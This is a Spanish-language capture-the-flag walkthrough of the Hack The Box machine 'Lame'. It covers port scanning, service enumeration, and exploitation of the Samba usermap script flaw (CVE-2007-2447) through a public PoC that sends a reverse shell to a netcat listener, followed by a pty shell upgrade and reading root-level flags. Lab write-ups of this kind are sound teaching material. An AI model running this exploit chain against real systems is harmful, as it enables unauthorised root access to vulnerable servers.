LAME

HACK THE BOX

DANIEL MIRANDA BARCELONA (EXCAL1BUR)

Introducción

Máquina de Hack The Box orientada a principiantes que tiene como objetivo enseñar y practicar técnicas fundamentales de enumeración, explotación de vulnerabilidades comunes en servicios y uso de payloads y exploits.

Contexto

LAME es una máquina que emula un entorno con vulnerabilidades en distintos servicios, conocidas y explotables fácilmente por profesionales y entusiastas del hacking ético.

Descripción del problema

El reto principal de la máquina LAME es obtener acceso total al sistema a partir de la explotación de vulnerabilidades. El usuario debe realizar una enumeración para identificar puntos débiles y llevar a cabo la explotación del sistema para obtener el control completo.

Escaneo inicial y descubrimiento de puertos

Iniciamos, con un escaneo de la IP objetivo para detectar todos los puertos abiertos en el sistema.

```
┌─[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~]
└──╼ [★]$ nmap -p- 10.129.136.84
```

Estos son los puertos descubiertos en el objetivo.

```
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd
```

Enumeración detallada de servicios

A continuación, realizaremos un escaneo más detallado para identificar las versiones de los servicios expuestos en el objetivo.

```
└─ [★]$ nmap -p 21,22,139,445,3632 -sV  10.129.136.84
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-03 07:25 CDT
Nmap scan report for 10.129.136.84
Host is up (0.0078s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Análisis de accesos y vulnerabilidades

Posteriormente, analizaremos si existe acceso anónimo (**anonymous login**) en los distintos servicios y buscaremos en recursos como **Rapid7, ExploitDB y SearchSploit** para identificar posibles vulnerabilidades en los servicios detectados.

Podemos observar que la versión del servidor FTP tiene un exploit disponible.

```
┌─[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~]
└─ [★]$ searchsploit vsftpd
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution                     | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)        | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service                       | multiple/remote/49719.py
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

Aunque podríamos probarlo, en este caso dicho exploit no funcionará, por lo que procederemos con otro enfoque.

Tanto el servicio **FTP como SMB permiten conexión sin autenticación**, pero no encontraremos nada interesante, así que pasaremos a analizar las versiones del servicio SMB.

Para ello, utilizaremos un módulo de Metasploit que nos revelará las versiones de Samba.

Enumeración de Samba

```
[msf](Jobs:0 Agents:0) >> search smb_version

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version   .                normal  No     SMB Version Detection
```

```
[msf](Jobs:0 Agents:0) >> use 0
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                     no        The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >>
```

En las opciones del módulo, configuraremos la IP y el puerto del objetivo.

```
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> exploit
[*] 10.129.136.84:139     -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.129.136.84:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Con la versión obtenida, buscaremos información sobre posibles vulnerabilidades asociadas.

```
┌─[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~]
└──╼ [★]$ searchsploit samba 3.0.20
------------------------------------------------------------------------------------------------------------------------ ----------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ----------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                  | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                        | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                   | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                           | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------ ----------------------------------
Shellcodes: No Results
```

Preparación para explotación de Samba

Usaremos un exploit de ejecución de comandos (Command Execution). Podemos emplearlo mediante Metasploit o buscar un Proof of Concept (PoC) funcional; en mi caso, he encontrado un PoC en GitHub:

https://github.com/amriunix/CVE-2007-2447.git

Clonaremos el repositorio y accederemos a la carpeta correspondiente.

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~/Desktop]
└─► [★]$ sudo git clone https://github.com/amriunix/CVE-2007-2447.git
Cloning into 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11 (from 1)
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (3/3), done.
```

Luego, otorgaremos permisos de ejecución al archivo `usermap_script.py`.

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~/Desktop/CVE-2007-2447]
└─► [★]$ ls
README.md  usermap_script.py
```

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~/Desktop/CVE-2007-2447]
└─► [★]$ sudo chmod +x usermap_script.py
```

Para conseguir la ejecución de código, debemos configurar un listener en un puerto específico, por ejemplo, usando Netcat.

Preparación para obtención de conexión

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~]
└─► [★]$ nc -lvnp 4444
listening on [any] 4444 ...
```

Exploración y escalada a shell interactiva y estable

Ejecutaremos el script proporcionando la IP y puerto del objetivo, así como nuestra IP y el puerto donde estamos escuchando con Netcat.

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~/Desktop/CVE-2007-2447]
└─► [★]$ python3 usermap_script.py 10.129.136.84 139 10.10.14.104 4444
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

Una vez ejecutado el payload, si todo ha salido correctamente, veremos la conexión de Netcat establecida con el objetivo.

```
┌──[eu-dedivip-1]─[10.10.14.104]─[excal1bur@htb-phu2mwejid]─[~]
└──╼ [★]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.104] from (UNKNOWN) [10.129.136.84] 55924
ls
bin
boot
cdrom
dev
etc
```

Para obtener una shell más estable, podemos mejorar la TTY ejecutando el siguiente one-liner en Python:

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# 
```

Obtención de flags

Finalmente, en la carpeta del usuario `makis` encontraremos la flag de usuario, y en la carpeta `root` podremos obtener la flag de root.

```
cd home/makis/
root@lame:/home/makis# cat user.txt
cat user.txt
[redacted]
root@lame:/home/makis#
```

```
root@lame:/# cd root
cd root
root@lame:/root# ls
ls
Desktop  reset_logs.sh  root.txt  vnc.log
root@lame:/root# cat root.txt
cat root.txt
[redacted]
root@lame:/root# 
```